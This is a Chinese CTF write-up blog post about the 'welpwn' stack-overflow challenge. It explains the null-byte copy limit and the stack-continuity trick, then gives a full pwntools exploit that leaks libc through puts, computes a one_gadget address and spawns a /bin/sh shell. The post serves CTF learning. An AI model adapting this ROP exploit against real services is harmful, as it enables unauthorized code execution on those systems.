感覺好久沒有水博客了,今天借助這道題來告訴自己做pwn題要多調試!!!
先檢查了保護只開啟了堆棧不可執行,接下來ida看一下偽代碼:
這里可以往buf進行寫入,接下來看一下echo函數:
大概意思就是將buf的內容寫入s2中,s2距離rbp只有0x10,所以可以進行溢出。這里我剛開始的時候是直接構造的rop,leakbaselibc,但是一直沒有回顯。后來我又將返回地址寫成了start看看能不能讓程序再次執行,發現是可以的。后來檢查了一下,發現是向s2中賦值的時候,遇到'\x00'就會中斷for循環,所以不能構造rop鏈。這可怎么辦,看了大佬們的博客,然后我也試着調試了一下。
這里可以看到,當我們輸入aaaaaaaa的時候,首先是存在buf中,然后調用echo函數的時候賦值給了s2,所以s2的值也是aaaaaaaa,這里很明顯可以看到兩個變量在棧中的距離是0x20。
此時的棧空間布局大概就是如圖了,那我們應該怎么辦呢?那就是利用棧連續,來構造rop鏈。將返回地址覆蓋成pop|ret就可以執行leaklibc了。
棧的布局就是上面這個圖了,貼一下我的exp:
1 from pwn import * 2 3 p = process('./welpwn') 4 elf = ELF('./welpwn') 5 context.log_level = 'debug' 6 7 start = elf.symbols['_start'] 8 write_got = elf.got['write'] 9 puts_plt = elf.plt['puts'] 10 pop_rdi = 0x004008a3 11 ret = 0x0400589 12 pop_four = 0x0040089c 13 14 payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_four) 15 payload += p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(start) 16 p.sendlineafter('RCTF\n',payload) 17 sleep(1) 18 p.recv(0x2b) 19 write_addr = u64(p.recv(6).ljust(8,'\x00')) 20 print hex(write_addr) 21 22 base_addr = write_addr - 0x0f72b0 23 shell_addr = base_addr + 0xf02a4 24 25 payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_four) 26 payload += p64(shell_addr) 27 p.sendline(payload) 28 sleep(1) 29 p.interactive() 30 ''' 31 0x45216 execve("/bin/sh", rsp+0x30, environ) 32 constraints: 33 rax == NULL 34 35 0x4526a execve("/bin/sh", rsp+0x30, environ) 36 constraints: 37 [rsp+0x30] == NULL 38 39 0xf02a4 execve("/bin/sh", rsp+0x50, environ) 40 constraints: 41 [rsp+0x50] == NULL 42 43 0xf1147 execve("/bin/sh", rsp+0x70, environ) 44 constraints: 45 [rsp+0x70] == NULL 46 '''
我看師傅們還有用DynELF做的,我大概看了一下,發現也是leak地址然后找system的地址,以前也經常聽師傅們說這個東西,但是我目前還沒遇到說必須用那個東西做的題,就不復現那種方法了。感覺都差不多。